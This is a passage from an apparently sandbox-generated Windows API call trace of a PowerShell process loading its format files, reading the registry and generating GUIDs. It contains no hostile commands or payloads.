lpOverlapped=0x0) returned 1 [0111.083] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.084] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.084] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.085] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.085] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.085] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.085] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.086] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.086] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.087] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x1000, lpOverlapped=0x0) returned 1 [0111.087] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0xbce, lpOverlapped=0x0) returned 1 [0111.087] ReadFile (in: hFile=0x30c, lpBuffer=0x3630d3e, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3630d3e*, lpNumberOfBytesRead=0x1eccd8*=0x0, lpOverlapped=0x0) returned 1 [0111.087] ReadFile (in: hFile=0x30c, lpBuffer=0x3631608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1eccd8, lpOverlapped=0x0 | out: lpBuffer=0x3631608*, lpNumberOfBytesRead=0x1eccd8*=0x0, lpOverlapped=0x0) returned 1 [0111.088] CloseHandle (hObject=0x30c) returned 1 [0111.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1eca20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0111.088] SetErrorMode (uMode=0x1) returned 0x1 [0111.088] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ecc80 | out: lpFileInformation=0x1ecc80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0111.088] SetErrorMode (uMode=0x1) returned 0x1 [0111.088] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ec9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0111.089] CoTaskMemAlloc (cb=0x5a) returned 0x4c9920 [0111.089] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4c9920, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0111.089] CoTaskMemFree (pv=0x4c9920) [0111.089] RegCloseKey (hKey=0x30c) returned 0x0 [0111.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ec9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0111.089] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ec860, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0111.092] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xa3ef8def, Data2=0xd3c, Data3=0x4d01, Data4=([0]=0x92, [1]=0x94, [2]=0x1a, [3]=0x4a, [4]=0xee, [5]=0xfe, [6]=0xf0, [7]=0xf8))) returned 0x0 [0111.093] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xde8a069b, Data2=0x6609, Data3=0x4cbb, Data4=([0]=0xb1, [1]=0x5b, [2]=0x91, [3]=0xe2, [4]=0x11, [5]=0xeb, [6]=0x90, [7]=0xa))) returned 0x0 [0111.094] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb83da273, Data2=0x91ca, Data3=0x40fe, Data4=([0]=0xa0, [1]=0x8, [2]=0x6d, [3]=0x3f, [4]=0xbb, [5]=0xba, [6]=0xd0, [7]=0x4d))) returned 0x0 [0111.094] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x6f09635b, Data2=0x8674, Data3=0x499f, Data4=([0]=0xb3, [1]=0x5f, [2]=0xb2, [3]=0x70, [4]=0x83, [5]=0xf1, [6]=0x53, [7]=0xd9))) returned 0x0 [0111.095] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x732878d0, Data2=0xd827, Data3=0x4153, Data4=([0]=0x96, [1]=0x61, [2]=0xa1, [3]=0x35, [4]=0x40, [5]=0x3f, [6]=0x38, [7]=0x8a))) returned 0x0 [0111.095] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x93eb215f, Data2=0x3225, Data3=0x4520, Data4=([0]=0x85, [1]=0xe7, [2]=0x5e, [3]=0x31, [4]=0x16, [5]=0xac, [6]=0xcc, [7]=0x7))) returned 0x0 [0111.096] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xc0e3c9c4, Data2=0xbff5, Data3=0x4a56, Data4=([0]=0xa0, [1]=0x78, [2]=0x86, [3]=0xdb, [4]=0xd0, [5]=0xf1, [6]=0x4e, [7]=0x8d))) returned 0x0 [0111.098] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x387ee28f, Data2=0x147b, Data3=0x48b5, Data4=([0]=0x90, [1]=0x43, [2]=0x11, [3]=0x7e, [4]=0x13, [5]=0x37, [6]=0x8, [7]=0x9c))) returned 0x0 [0111.099] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xa1de8a2d, Data2=0x1ac5, Data3=0x4348, Data4=([0]=0x85, [1]=0xd3, [2]=0x9f, [3]=0xa7, [4]=0xce, [5]=0x27, [6]=0xcd, [7]=0x98))) returned 0x0 [0111.099] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd97a8e56, Data2=0xffc0, Data3=0x45fe, Data4=([0]=0xbb, [1]=0xbd, [2]=0xe9, [3]=0xcb, [4]=0x8d, [5]=0xc0, [6]=0x13, [7]=0x8e))) returned 0x0 [0111.100] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x13555354, Data2=0xa865, Data3=0x4b16, Data4=([0]=0x90, [1]=0xba, [2]=0x84, [3]=0xd8, [4]=0x97, [5]=0x86, [6]=0x35, [7]=0xda))) returned 0x0 [0111.101] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x68ba3de8, Data2=0x67ad, Data3=0x4ea1, Data4=([0]=0x9b, [1]=0x6c, [2]=0x76, [3]=0xbd, [4]=0x31, [5]=0x96, [6]=0x87, [7]=0xa1))) returned 0x0 [0111.106] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x2f82eab3, Data2=0xf959, Data3=0x4ecf, Data4=([0]=0xa3, [1]=0xb2, [2]=0xe7, [3]=0xfe, [4]=0x69, [5]=0x8d, [6]=0x8c, [7]=0xdc))) returned 0x0 [0111.106] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xed7ef667, Data2=0x76cf, Data3=0x43ed, Data4=([0]=0xb4, [1]=0x34, [2]=0xe2, [3]=0x69, [4]=0xab, [5]=0x4d, [6]=0x76, [7]=0x0))) returned 0x0 [0111.107] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb44c2750, Data2=0x5f58, Data3=0x4adf, Data4=([0]=0xbc, [1]=0x70, [2]=0xd9, [3]=0xbe, [4]=0xc8, [5]=0x8e, [6]=0x71, [7]=0xd8))) returned 0x0 [0111.107] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd78483a8, Data2=0xe3fb, Data3=0x4d86, Data4=([0]=0xb8, [1]=0x85, [2]=0xbb, [3]=0x92, [4]=0x77, [5]=0x46, [6]=0xc2, [7]=0xf6))) returned 0x0 [0111.108] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5284e927, Data2=0x9046, Data3=0x4d3d, Data4=([0]=0xa6, [1]=0x73, [2]=0xdd, [3]=0x8c, [4]=0x80, [5]=0x8d, [6]=0xea, [7]=0xa2))) returned 0x0 [0111.109] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf9b8f1f3, Data2=0xf6ca, Data3=0x49bc, Data4=([0]=0x98, [1]=0x95, [2]=0x76, [3]=0x8d, [4]=0xef, [5]=0x16, [6]=0xbe, [7]=0xe9))) returned 0x0 [0111.110] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x29a9d670, Data2=0xea2, Data3=0x4d2f, Data4=([0]=0xa6, [1]=0x8a, [2]=0x1, [3]=0x77, [4]=0xce, [5]=0x66, [6]=0x1b, [7]=0x41))) returned 0x0 [0111.111] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x76087647, Data2=0x7be1, Data3=0x4453, Data4=([0]=0x92, [1]=0x5, [2]=0x54, [3]=0x9, [4]=0xad, [5]=0x70, [6]=0x4c, [7]=0x38))) returned 0x0 [0111.112] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xe12d0ec6, Data2=0x9768, Data3=0x4081, Data4=([0]=0xa2, [1]=0x1e, [2]=0xf1, [3]=0x80, [4]=0x74, [5]=0xf5, [6]=0x6, [7]=0x13))) returned 0x0 [0111.112] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xce48b298, Data2=0x2424, Data3=0x469b, Data4=([0]=0xbe, [1]=0x2c, [2]=0x1, [3]=0x19, [4]=0x7, [5]=0x7d, [6]=0x46, [7]=0x63))) returned 0x0 [0111.113] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd3004b38, Data2=0xaeb5, Data3=0x47bd, Data4=([0]=0x98, [1]=0xcc, [2]=0x41, [3]=0x15, [4]=0xd1, [5]=0x59, [6]=0xbd, [7]=0xb8))) returned 0x0 [0111.114] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xc9b06411, Data2=0x3f11, Data3=0x4166, Data4=([0]=0xb2, [1]=0x72, [2]=0xc5, [3]=0xfb, [4]=0xfe, [5]=0x0, [6]=0x8e, [7]=0xe2))) returned 0x0 [0111.114] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x65299839, Data2=0x11be, Data3=0x406d, Data4=([0]=0x96, [1]=0xd9, [2]=0x16, [3]=0xb2, [4]=0xc, [5]=0xad, [6]=0x78, [7]=0xd6))) returned 0x0 [0111.115] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x3bd8c2a4, Data2=0xb46c, Data3=0x4e1a, Data4=([0]=0x85, [1]=0x95, [2]=0x57, [3]=0x35, [4]=0x29, [5]=0x5d, [6]=0x38, [7]=0xf2))) returned 0x0 [0111.115] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xf9c73519, Data2=0x5769, Data3=0x4d49, Data4=([0]=0xa2, [1]=0x76, [2]=0x2b, [3]=0x5b, [4]=0xb5, [5]=0x11, [6]=0x9d, [7]=0x29))) returned 0x0 [0111.116] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5ce22689, Data2=0xe18c, Data3=0x44c4, Data4=([0]=0xa9, [1]=0x53, [2]=0xf5, [3]=0xc0, [4]=0x3c, [5]=0x24, [6]=0x40, [7]=0xe1))) returned 0x0 [0111.117] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x81b10e88, Data2=0x416d, Data3=0x4a2c, Data4=([0]=0xb8, [1]=0xa9, [2]=0x3c, [3]=0x5f, [4]=0xff, [5]=0xfe, [6]=0xae, [7]=0x88))) returned 0x0 [0111.117] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xa56d5eeb, Data2=0xa18f, Data3=0x4ac2, Data4=([0]=0x91, [1]=0x9c, [2]=0xdf, [3]=0x4c, [4]=0x94, [5]=0x69, [6]=0xd7, [7]=0x2a))) returned 0x0 [0111.118] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x4066d7c5, Data2=0x7ec9, Data3=0x4598, Data4=([0]=0xb1, [1]=0x13, [2]=0x31, [3]=0x11, [4]=0xb9, [5]=0xf4, [6]=0x43, [7]=0xc4))) returned 0x0 [0111.118] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x95de4629, Data2=0xff98, Data3=0x4737, Data4=([0]=0x9b, [1]=0xb, [2]=0x5, [3]=0x24, [4]=0xb4, [5]=0xd3, [6]=0x2d, [7]=0x5c))) returned 0x0 [0111.119] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb0755df0, Data2=0x278e, Data3=0x4a23, Data4=([0]=0x84, [1]=0x39, [2]=0xb3, [3]=0x18, [4]=0x5b, [5]=0xcc, [6]=0xe5, [7]=0x2c))) returned 0x0 [0111.120] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x6e56256d, Data2=0xbc6c, Data3=0x44bd, Data4=([0]=0xbc, [1]=0xfc, [2]=0xb0, [3]=0xae, [4]=0xa2, [5]=0x18, [6]=0xcd, [7]=0xa6))) returned 0x0 [0111.120] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x49c4ae4e, Data2=0xdf8f, Data3=0x4a84, Data4=([0]=0x99, [1]=0x72, [2]=0xf5, [3]=0x71, [4]=0x81, [5]=0xec, [6]=0x66, [7]=0x7e))) returned 0x0 [0111.121] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x1cb42cc6, Data2=0x90ed, Data3=0x4ffc, Data4=([0]=0x9e, [1]=0x5c, [2]=0x70, [3]=0xa6, [4]=0xbe, [5]=0xa3, [6]=0xa8, [7]=0x17))) returned 0x0 [0111.128] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x8f5df1ea, Data2=0x7507, Data3=0x42a9, Data4=([0]=0x9a, [1]=0x63, [2]=0x99, [3]=0xc9, [4]=0xd6, [5]=0x6b, [6]=0x5b, [7]=0xbc))) returned 0x0 [0111.131] CoTaskMemAlloc (cb=0x5a) returned 0x4c9920 [0111.131] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4c9920, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0111.131] CoTaskMemFree (pv=0x4c9920) [0111.131] RegCloseKey (hKey=0x30c) returned 0x0 [0111.131] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ec9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0111.133] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd3e8f103, Data2=0xfa13, Data3=0x4b51, Data4=([0]=0x8f, [1]=0x43, [2]=0xf, [3]=0xfe, [4]=0x90, [5]=0x5c, [6]=0xa4, [7]=0x34))) returned 0x0 [0111.133] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5726cb9e, Data2=0xadb3, Data3=0x4ee9, Data4=([0]=0xba, [1]=0x48, [2]=0x8f, [3]=0x15, [4]=0x9, [5]=0x3a, [6]=0xbb, [7]=0x16))) returned 0x0 [0111.134] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x2f26012b, Data2=0xc114, Data3=0x4270, Data4=([0]=0x8e, [1]=0x37, [2]=0xfa, [3]=0x76, [4]=0x9, [5]=0xfe, [6]=0xc3, [7]=0x8e))) returned 0x0 [0111.134] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x2f70f799, Data2=0x8ea9, Data3=0x4f7b, Data4=([0]=0x9a, [1]=0x6e, [2]=0x32, [3]=0xde, [4]=0x2e, [5]=0x81, [6]=0xd9, [7]=0xb2))) returned 0x0 [0111.182] CoTaskMemAlloc (cb=0x5a) returned 0x4c9920 [0111.182] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4c9920, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0111.182] CoTaskMemFree (pv=0x4c9920) [0111.182] RegCloseKey (hKey=0x30c) returned 0x0 [0111.182] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ec9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0111.187] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x9687839b, Data2=0x6ba0, Data3=0x4010, Data4=([0]=0x81, [1]=0x47, [2]=0x81, [3]=0x69, [4]=0x54, [5]=0x88, [6]=0xb8, [7]=0xe6))) returned 0x0 [0111.188] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xa94f9b94, Data2=0xb35, Data3=0x42e6, Data4=([0]=0xa2, [1]=0x28, [2]=0x1d, [3]=0x9b, [4]=0xe9, [5]=0x1e, [6]=0xb3, [7]=0x70))) returned 0x0 [0111.242] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x7f92c14d, Data2=0x712a, Data3=0x4ed3, Data4=([0]=0xab, [1]=0xac, [2]=0x53, [3]=0x7d, [4]=0x84, [5]=0xcc, [6]=0x43, [7]=0xb3))) returned 0x0 [0111.245] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x617f7dcb, Data2=0x8d5c, Data3=0x4920, Data4=([0]=0xab, [1]=0x94, [2]=0xdd, [3]=0xfb, [4]=0x72, [5]=0xef, [6]=0x0, [7]=0xc4))) returned 0x0 [0111.247] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x6eb87cdc, Data2=0x53ea, Data3=0x4648, Data4=([0]=0xbd, [1]=0x46, [2]=0xdd, [3]=0xb5, [4]=0x21, [5]=0x4e, [6]=0x5a, [7]=0xfa))) returned 0x0 [0111.248] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb4a7e28a, Data2=0x4eac, Data3=0x4d2c, Data4=([0]=0xb9, [1]=0x5d, [2]=0xe, [3]=0x39, [4]=0x5f, [5]=0x35, [6]=0x61, [7]=0x42))) returned 0x0 [0111.253] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x631f0f46, Data2=0x28b5, Data3=0x43fe, Data4=([0]=0xa9, [1]=0x30, [2]=0xc3, [3]=0x41, [4]=0x58, [5]=0x6b, [6]=0xa3, [7]=0xbf))) returned 0x0 [0111.254] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x8c2ff325, Data2=0x968b, Data3=0x4014, Data4=([0]=0xb9, [1]=0xce, [2]=0xf, [3]=0xb6, [4]=0xd4, [5]=0x3f, [6]=0x62, [7]=0xd6))) returned 0x0 [0111.255] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xa7cdcbcc, Data2=0xeb3c, Data3=0x406d, Data4=([0]=0x98, [1]=0x82, [2]=0x52, [3]=0xfb, [4]=0xcb, [5]=0xd9, [6]=0x53, [7]=0x1))) returned 0x0 [0111.256] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x25029a88, Data2=0x7f9a, Data3=0x4f1f, Data4=([0]=0xa4, [1]=0xea, [2]=0x84, [3]=0xc, [4]=0x8c, [5]=0xc8, [6]=0x23, [7]=0xc7))) returned 0x0 [0111.256] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x664f70a2, Data2=0x3721, Data3=0x4cb9, Data4=([0]=0x89, [1]=0x50, [2]=0x26, [3]=0xba, [4]=0xa6, [5]=0xae, [6]=0xcd, [7]=0x7))) returned 0x0 [0111.256] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x87f92fa6, Data2=0x8977, Data3=0x4742, Data4=([0]=0xa5, [1]=0x49, [2]=0x57, [3]=0xc, [4]=0xa5, [5]=0xbe, [6]=0xed, [7]=0xb6))) returned 0x0 [0111.257] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5bae25c0, Data2=0x97fb, Data3=0x4b70, Data4=([0]=0xab, [1]=0x84, [2]=0x71, [3]=0x8d, [4]=0x1, [5]=0x51, [6]=0x76, [7]=0x4d))) returned 0x0 [0111.257] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xee3ba454, Data2=0xd33, Data3=0x483f, Data4=([0]=0x9b, [1]=0xd8, [2]=0x7d, [3]=0xf4, [4]=0xfd, [5]=0xf, [6]=0x38, [7]=0x64))) returned 0x0 [0111.257] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x8f2cafe, Data2=0xc083, Data3=0x42c8, Data4=([0]=0x93, [1]=0x3, [2]=0x0, [3]=0xd9, [4]=0xb5, [5]=0x58, [6]=0x46, [7]=0xdd))) returned 0x0 [0111.260] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x7a1ea64d, Data2=0x3f3a, Data3=0x4f16, Data4=([0]=0x8f, [1]=0x6, [2]=0xb9, [3]=0xc1, [4]=0x5d, [5]=0x3b, [6]=0xa2, [7]=0x71))) returned 0x0 [0111.262] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xda266598, Data2=0xda5a, Data3=0x4daf, Data4=([0]=0x86, [1]=0x11, [2]=0xa6, [3]=0xcf, [4]=0xe7, [5]=0x73, [6]=0xea, [7]=0x21))) returned 0x0 [0111.264] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd07e90af, Data2=0xe6a2, Data3=0x4877, Data4=([0]=0xa0, [1]=0xd2, [2]=0x3, [3]=0x15, [4]=0x43, [5]=0xcc, [6]=0xba, [7]=0xe1))) returned 0x0 [0111.265] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5a2aadfc, Data2=0x2657, Data3=0x4549, Data4=([0]=0x97, [1]=0x26, [2]=0x3e, [3]=0x2a, [4]=0xc7, [5]=0x7e, [6]=0xf7, [7]=0xae))) returned 0x0 [0111.265] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xd4a8d71e, Data2=0x4d60, Data3=0x4a09, Data4=([0]=0xbd, [1]=0x3a, [2]=0x3b, [3]=0x36, [4]=0x67, [5]=0x64, [6]=0x7, [7]=0x12))) returned 0x0 [0111.265] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xff900a38, Data2=0x683e, Data3=0x4fa3, Data4=([0]=0xac, [1]=0x8d, [2]=0x31, [3]=0xd2, [4]=0x6e, [5]=0x6e, [6]=0x53, [7]=0xd9))) returned 0x0 [0111.266] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xe556df50, Data2=0x67c5, Data3=0x45d2, Data4=([0]=0x91, [1]=0xe3, [2]=0x32, [3]=0x89, [4]=0xb, [5]=0xc9, [6]=0x8f, [7]=0x5e))) returned 0x0 [0111.266] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xb8a1423c, Data2=0xa6df, Data3=0x4e69, Data4=([0]=0xb2, [1]=0xc9, [2]=0x82, [3]=0xe9, [4]=0x2a, [5]=0x5b, [6]=0xa2, [7]=0x7c))) returned 0x0 [0111.266] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x5190652d, Data2=0x7762, Data3=0x41d8, Data4=([0]=0xb2, [1]=0x33, [2]=0xe6, [3]=0x99, [4]=0x24, [5]=0x84, [6]=0xe, [7]=0x87))) returned 0x0 [0111.266] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0xbf06e7d2, Data2=0x4631, Data3=0x40a8, Data4=([0]=0xb8, [1]=0x1f, [2]=0x32, [3]=0x2e, [4]=0x5a, [5]=0xf1, [6]=0x96, [7]=0x53))) returned 0x0 [0111.278] CoTaskMemAlloc (cb=0x5a) returned 0x4c9920 [0111.278] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1eccbc, lpData=0x4c9920, lpcbData=0x1eccb8*=0x56 | out: lpType=0x1eccbc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1eccb8*=0x56) returned 0x0 [0111.278] CoTaskMemFree (pv=0x4c9920) [0111.280] CoCreateGuid (in: pguid=0x1ecf90 | out: pguid=0x1ecf90*(Data1=0x4d30b464, Data2=0x94e, Data3=0x41c1, Data4=([0]=0xb5, [1]=0x6b, [2]=0x8a, 